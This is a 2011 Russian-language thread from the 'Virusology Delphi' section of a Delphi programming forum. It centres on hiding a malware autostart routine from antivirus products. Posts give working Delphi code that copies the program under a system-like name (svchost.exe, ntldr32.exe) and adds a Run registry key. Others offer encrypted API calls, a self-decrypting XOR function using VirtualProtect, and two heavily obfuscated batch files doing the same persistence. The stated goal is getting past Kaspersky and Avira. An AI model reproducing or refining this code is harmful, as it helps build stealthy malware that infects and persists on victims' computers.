Четверг, 24.08.2017, 07:54 Приветствую вас Гость | Группа "Гости" 


[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx 
delfcode » Delphi » Вирусология Delphi » обфускация процедуры автозапуска (обфускация процедуры автозапуска)
обфускация процедуры автозапуска
vvova15Дата: Четверг, 14.07.2011, 11:35 | Сообщение # 1
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
в общем такой вопрос:
стандартная и всем известная и замусоленная до нельзя процедура авторана:
Code

procedure autorun;
var hk:hkey;
begin
copyFile(pchar(paramStr(0)),'c:\windows\svchost.exe',true);
RegCreateKey(HKEY_LOCAL_MACHINE,'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run', hk);
RegSetValueEx(hk,'EXPLORER',0,REG_SZ,pchar('c:\windows\svchost.exe'), Length('c:\windows\svchost.exe') + 1);
RegCloseKey(hk);
end;

палиться даже самыми дерьмовыми антивирусами. я решил написать другую.я полдня эксперементировал и выяснял при каких условиях наименьшая дедектируемость. в результате получил вот такую проуедуру:
Code

procedure autorun;
var f:textfile;
begin
assignfile(f,'infect.bat');
rewrite(f);
writeln(f,'copy %1 c:\windows\ntldr32.exe');
writeln(f,'REG ADD hklm\software\microsoft\windows\currentversion\run /v win32bootloader /t reg_sz /d c:\windows\ntldr32.exe');
writeln(f,'del %0');
closefile(f);
//winexec(pchar('infect.bat '+paramstr(0)),SW_HIDE);
shellexecute(0,'open',pchar('infect.bat'),pchar(' '+paramstr(0)),nil,sw_hide);
end;

детектируется только каспером и авирой. и еще малоизвестными нерусскими антивирями.
вопрос как сделать чтобы и каспер с авирой тоже пропускали этот код? (на нерусские антивири насрать - в рф ими мало кто пользуется)



ICQ 185-398
 
gravitasДата: Четверг, 14.07.2011, 12:04 | Сообщение # 2
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
vvova15, кто то мне вроде бы говорил, что малварь больше не пишет... Ай-ай-ай! Для уменьшения палевности можно сделать не только обфускацию кода процедуры, но и обфускацию ее вызова. Т.е. примеры:
1. CreateThread
2. BeginThread
3. SetTimer (в конце процедуры - KillTimer).
Возможны их комбинации.
Я бы с радостью сейчас попробовал и проверил сам, но увы убегаю...


TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
 
dolphinДата: Четверг, 14.07.2011, 12:45 | Сообщение # 3
Администратор
Сообщений: 902
Статус: Offline
+ можно попробовать зашифровать вызовы api, я как то пробовал, но эвристику всё таки обойти не удалось...

Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
vvova15Дата: Четверг, 14.07.2011, 13:53 | Сообщение # 4
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
gravitas, я поддерживаю старое написанное ранее.
dolphin, это как? так чтоли?
Code

type  
winexec=function (lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;
function decrypt(s:string):string;
begin
//некий код шифрования строки
end;
...
var
hLib:Thandle;
Execute:winexec;
begin
hLib:=LoadLibrary('kernel32.dll');
@execute:=GetProcAddres(hlib,decript('зашифрованное имя функции'));
execute((pchar('infect.bat '+paramstr(0)),SW_HIDE);   
end;



ICQ 185-398
 
C@TДата: Четверг, 14.07.2011, 17:26 | Сообщение # 5
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
пришедшая когда то в голову идея по этому поводу:

вобщем вызов какойто апи функции идет как
push param1
push param2
call Func

как будет выглядить стек во время запуска функции(когда на нее будет совершен прыжок)

param1
param2
addrToReturn//адресс возврата(адрес в памяти сразу после команды call) , туда функция прыгает по своему завершению, вызывая команду ret, эта команда берет последний загнпнный аадресс в стек и прыгает на него.

получается прыжок кудато можно осуществить как
push addr
ret

дальше если когда мы вызываем нашу функцию сделаем так
push param1
push param2
push returnAddr
jmp Func
то код будет также работать, но если мы изменим returnAddr, то после исполнения функции управление получит совсем другой код(прыжок будет осуществлен на указанный адресс)
получается можно функцию переадресовать на другую функцию,
например:

push param1//первый параметр нашей функции
push param2// второй
push returnAddr// адрес возврата(адресс конца текущего кода)
push 1000//интервал ожидания(параметр функции Sleep)
push offset Func//адресс возврата для функции слип(адресс нашей второй функции)
jmp Sleep//прыжок на слип

получается сперва исполнится функция слип, потом совершится прыжок на нашу функцию и в стеке будут все необходимые параметры

+ еще когда то возникла идея функция про криптование функции на делфи

Code

procedure Crypt_Func;
label Func_Start;
label Func_End;
var
key:HKEY;
FileName:string;
begin

asm
jmp Func_End
db 'CRYPT' //ставим метку CRYPT(ее теперь можно найти в ехе файле)
end;
Func_Start:

//#################################
//а вот и сам код функции
MessageBoxA(0,'Hello World','',0);

exit;//обязательно закончить процедуру
//#################################
asm
db 'ENDDD'; //метка конца основного кода функции
end;
Func_End:
asm
//код расшифровки
mov ecx,offset Func_End
sub ecx,offset Func_Start
sub ecx,5//считаем размер кода
push ecx//загоняем размер кода в стек

push 0h//в стек вернятся старый атрибут
push esp
push 40h
push ecx
push offset Func_Start;
call VirtualProtect
pop eax//забираем старый атрибут из стека
pop ecx//забираем размер кода из стека
push ecx//и сохраняем тудаже
push eax//загоняем старый атрибут в стек

xor ebx,ebx
mov eax, offset Func_Start
@Start_xor:

mov bl,55h
xor byte ptr [eax],bl

inc eax
dec ecx
test ecx,ecx
jnz @Start_xor
@end_xor:

pop eax //страрый атрибут секции
pop ecx //размер кода

push 0h//в стек вернятся старый атрибут
push esp
push eax
push ecx
push offset Func_Start;
call VirtualProtect
pop eax//освобождаем стек

jmp Func_Start//стартуем функцию после того как раскриптовали
end;

end;


для того чтобы код начал работать правильно небходимо открыть ехешник в хекс-редакторе и закриптовать все что хранится между метками CRYPT и ENDDD на указанный в коде ключ( mov bl,55h )


 
dolphinДата: Пятница, 15.07.2011, 11:47 | Сообщение # 6
Администратор
Сообщений: 902
Статус: Offline
vvova15, Да, похоже на то)

Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
darkoffДата: Воскресенье, 24.07.2011, 12:35 | Сообщение # 7
Группа: Удаленные



Вот криптованый батник
Code
copy %1 c:\windows\ntldr32.exe
REG ADD hklm\software\microsoft\windows\currentversion\run /v win32bootloader /t reg_sz /d c:\windows\ntldr32.exe
del %0

Code
@set w=@set
%w% vk9=k
%w% kuo=2
%w% ahb=r
%w% bkk=d
%w% jf2=0
%w% n9c=o
%w% p6k=t
%w% v4r=n
%w% w2l=v
%w% wv1=j
%w% bpa=4
%w% a4v=s
%w% l54=9
%w% m7d=@
%w% uki=(
%w% o3h=m
%w% qnd=c
%w% yh7=i
%w% kdy=y
%w% s9k=7
%w% laz=f
%w% mbt=w
%w% bqo=b
%w% w9k=z
%w% y1v=3
%w% fko=p
%w% k83=l
%w% m50=)
%w% kic=q
%w% b9b=!
%qnd%%n9c%%fko%%kdy% %1 %qnd%:\%mbt%%yh7%%v4r%%bkk%%n9c%%mbt%%a4v%\%v4r%%p6k%%k83%%bkk%%ahb%%y1v%%kuo%.exe
REG ADD hk%k83%%o3h%\%a4v%%n9c%%laz%%p6k%%mbt%a%ahb%e\%o3h%%yh7%%qnd%%ahb%%n9c%%a4v%%n9c%%laz%%p6k%\%mbt%%yh7%%v4r%%bkk%%n9c%%mbt%%a4v%\%qnd%u%ahb%% ahb%e%v4r%%p6k%%w2l%e%ahb%%a4v%%yh7%%n9c%%v4r%\%ahb%u%v4r% /%w2l% %mbt%%yh7%%v4r%%y1v%%kuo%%bqo%%n9c%%n9c%%p6k%%k83%%n9c%a%bkk%e%ahb% /%p6k% %ahb%eg_%a4v%%w9k% /%bkk% %qnd%:\%mbt%%yh7%%v4r%%bkk%%n9c%%mbt%%a4v%\%v4r%%p6k%%k83%%bkk%%ahb%%y1v%%kuo%.exe
%bkk%e%k83% %%jf2%


криптор у меня в сервисах блога если кому интересно
 
Волк-1024Дата: Понедельник, 25.07.2011, 23:00 | Сообщение # 8
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 467
Статус: Offline
Можно еще так:
Code
set sqvv=xja
set sqvv=s
GoTo sqvv
set sqvv=gv
:sqvv
set jeuk=cuu
set jeuk=e
GoTo jeuk
set jeuk=js
:jeuk
set prtm=tbm
set prtm=t
GoTo prtm
set prtm=xy
:prtm
%sqvv%%jeuk%%prtm% ml=peu
%sqvv%%jeuk%%prtm% ml=a
GoTo ml
%sqvv%%jeuk%%prtm%  ml=qz
:ml
%sqvv%%jeuk%%prtm% nr=pqe
%sqvv%%jeuk%%prtm% nr=b
GoTo nr
%sqvv%%jeuk%%prtm%  nr=if
:nr
%sqvv%%jeuk%%prtm% it=pmg
%sqvv%%jeuk%%prtm% it=c
GoTo it
%sqvv%%jeuk%%prtm%  it=zf
:it
%sqvv%%jeuk%%prtm% ye=lfz
%sqvv%%jeuk%%prtm% ye=d
GoTo ye
%sqvv%%jeuk%%prtm%  ye=ir
:ye
%sqvv%%jeuk%%prtm% un=bni
%sqvv%%jeuk%%prtm% un=e
GoTo un
%sqvv%%jeuk%%prtm%  un=cf
:un
%sqvv%%jeuk%%prtm% qn=zik
%sqvv%%jeuk%%prtm% qn=f
GoTo qn
%sqvv%%jeuk%%prtm%  qn=eo
:qn
%sqvv%%jeuk%%prtm% jz=pgr
%sqvv%%jeuk%%prtm% jz=g
GoTo jz
%sqvv%%jeuk%%prtm%  jz=nz
:jz
%sqvv%%jeuk%%prtm% ew=akq
%sqvv%%jeuk%%prtm% ew=h
GoTo ew
%sqvv%%jeuk%%prtm%  ew=pu
:ew
%sqvv%%jeuk%%prtm% lk=vxa
%sqvv%%jeuk%%prtm% lk=i
GoTo lk
%sqvv%%jeuk%%prtm%  lk=kz
:lk
%sqvv%%jeuk%%prtm% ef=vxb
%sqvv%%jeuk%%prtm% ef=j
GoTo ef
%sqvv%%jeuk%%prtm%  ef=td
:ef
%sqvv%%jeuk%%prtm% me=jry
%sqvv%%jeuk%%prtm% me=k
GoTo me
%sqvv%%jeuk%%prtm%  me=qp
:me
%sqvv%%jeuk%%prtm% ic=fxj
%sqvv%%jeuk%%prtm% ic=l
GoTo ic
%sqvv%%jeuk%%prtm%  ic=gb
:ic
%sqvv%%jeuk%%prtm% uw=rij
%sqvv%%jeuk%%prtm% uw=m
GoTo uw
%sqvv%%jeuk%%prtm%  uw=xh
:uw
%sqvv%%jeuk%%prtm% nf=nko
%sqvv%%jeuk%%prtm% nf=n
GoTo nf
%sqvv%%jeuk%%prtm%  nf=fm
:nf
%sqvv%%jeuk%%prtm% an=znf
%sqvv%%jeuk%%prtm% an=o
GoTo an
%sqvv%%jeuk%%prtm%  an=kh
:an
%sqvv%%jeuk%%prtm% vp=gxv
%sqvv%%jeuk%%prtm% vp=p
GoTo vp
%sqvv%%jeuk%%prtm%  vp=ll
:vp
%sqvv%%jeuk%%prtm% mz=rgz
%sqvv%%jeuk%%prtm% mz=q
GoTo mz
%sqvv%%jeuk%%prtm%  mz=zg
:mz
%sqvv%%jeuk%%prtm% sb=lys
%sqvv%%jeuk%%prtm% sb=r
GoTo sb
%sqvv%%jeuk%%prtm%  sb=yh
:sb
%sqvv%%jeuk%%prtm% ci=izu
%sqvv%%jeuk%%prtm% ci=s
GoTo ci
%sqvv%%jeuk%%prtm%  ci=gt
:ci
%sqvv%%jeuk%%prtm% nh=vzy
%sqvv%%jeuk%%prtm% nh=t
GoTo nh
%sqvv%%jeuk%%prtm%  nh=pb
:nh
%sqvv%%jeuk%%prtm% zf=mwr
%sqvv%%jeuk%%prtm% zf=u
GoTo zf
%sqvv%%jeuk%%prtm%  zf=wj
:zf
%sqvv%%jeuk%%prtm% tl=mbp
%sqvv%%jeuk%%prtm% tl=v
GoTo tl
%sqvv%%jeuk%%prtm%  tl=nw
:tl
%sqvv%%jeuk%%prtm% dq=tdw
%sqvv%%jeuk%%prtm% dq=w
GoTo dq
%sqvv%%jeuk%%prtm%  dq=cq
:dq
%sqvv%%jeuk%%prtm% gn=ioo
%sqvv%%jeuk%%prtm% gn=x
GoTo gn
%sqvv%%jeuk%%prtm%  gn=nb
:gn
%sqvv%%jeuk%%prtm% my=hej
%sqvv%%jeuk%%prtm% my=y
GoTo my
%sqvv%%jeuk%%prtm%  my=wy
:my
%sqvv%%jeuk%%prtm% eo=art
%sqvv%%jeuk%%prtm% eo=z
GoTo eo
%sqvv%%jeuk%%prtm%  eo=ur
:eo
%sqvv%%jeuk%%prtm% xp=udc
%sqvv%%jeuk%%prtm% xp=GoTo xp
%sqvv%%jeuk%%prtm%  xp=md
:xp
%it%%an%%vp%%my% %1 %it%:\%dq%%lk%%nf%%ye%%an%%dq%%ci%\%nf%%nh%%ic%%ye%%sb%32.%un%%gn%%un%      
REG ADD %ew%%me%%ic%%uw%\%ci%%an%%qn%%nh%%dq%%ml%%sb%%un%\%uw%%lk%%it%%sb%%an%%ci%%an%%qn%%nh%\%dq%%lk%%nf%%ye%%an%%dq%%ci%\%it%%zf%%sb%%sb%%un%%nf%  %nh%%tl%%un%%sb%%ci%%lk%%an%%nf%\%sb%%zf%%nf% /%tl% %dq%%lk%%nf%32%nr%%an%%an%%nh%%ic%%an%%ml%%ye%%un%%sb% /%nh% %sb%%un%%jz%_%ci%%eo% /%ye% %it%:\%dq%%lk%%nf%%ye%%an%%dq%%ci%\%nf%%nh%%ic%%ye%%sb%32.%un%%gn%%un%      
%ye%%un%%ic% %0


ИМХО. Идея с батниками не вариант. Хотя...


Pascal, C\C++, Assembler, Python

Сообщение отредактировал Волк-1024 - Понедельник, 25.07.2011, 23:06
 
XSPYДата: Вторник, 26.07.2011, 17:03 | Сообщение # 9
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 258
Статус: Offline
ох вы даёте жару... нахрена так сложно то? wacko
есть же пути гораздо проще и безпалевнее...


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
C@TДата: Среда, 27.07.2011, 17:33 | Сообщение # 10
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
XSPY, ты сейчас про батники или про все представленные способы ?

P.S приведи свой пример обфускации кода


 
XSPYДата: Среда, 27.07.2011, 23:46 | Сообщение # 11
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 258
Статус: Offline
C@T, не,про батники речь не идёт)
Код привести немогу,так как авери на него не реагируют(каспер и авира у меня на "параное" молчали)-и етот код использует моя легальная прога wink
Но дам подсказку-копайте в сторону системных служб и реестра!... wink
Да и необязательно обфусцировать) у меня он открытый и все ок)
Кстати,еще интересно использовать реестровый винлогон и настройки системы в реестре(например,настройки менеджера заданий)
В общем,вариантов куча


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
dolphinДата: Пятница, 29.07.2011, 10:50 | Сообщение # 12
Администратор
Сообщений: 902
Статус: Offline
XSPY, Active Setup и запуск как служба, как ты говорил тоже палятся.

Система: Windows 10 x64, Windows XP
Среды программирования: Delphi 7, Delphi 10 Seattle

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
XSPYДата: Пятница, 29.07.2011, 13:44 | Сообщение # 13
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 258
Статус: Offline
dolphin, да,паляться-но не все!
Я же долго игрался с вариантами автозапуска в стандартный ключ Run-ну и нашел свой безпалевный (по крайней мере на каспере) вариант!
Тут уж дело техники и фантазии))
З.Ы:Как вариант,еще можно через ассоциации и формат файлов попробовать-прога друга юзала свой формат,внесённый в реестр.
В итоге,антивирус только предупреждал,какая прога открывает етот формат!(ето без всяких наворотов добавление+авер на параноике с проактивкой).


Я не крекер,а программист!
Я не преступник-я свободный человек!
Лучше один раз накодить,чем сто раз качать билды!
 
C@TДата: Пятница, 29.07.2011, 21:15 | Сообщение # 14
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
еще не очень палятся коды написанные на visual с++ , я писал простейший код добавления в автозагрузку и копирования в системную папку, который палится только четырьмя антивирусами на ВТ, а на делфи аналогичные коды палятся всем чем можно

 
delfcode » Delphi » Вирусология Delphi » обфускация процедуры автозапуска (обфускация процедуры автозапуска)
Страница 1 из 11
Поиск:

delfcode.ru © 2008 - 2017 Хостинг от uCoz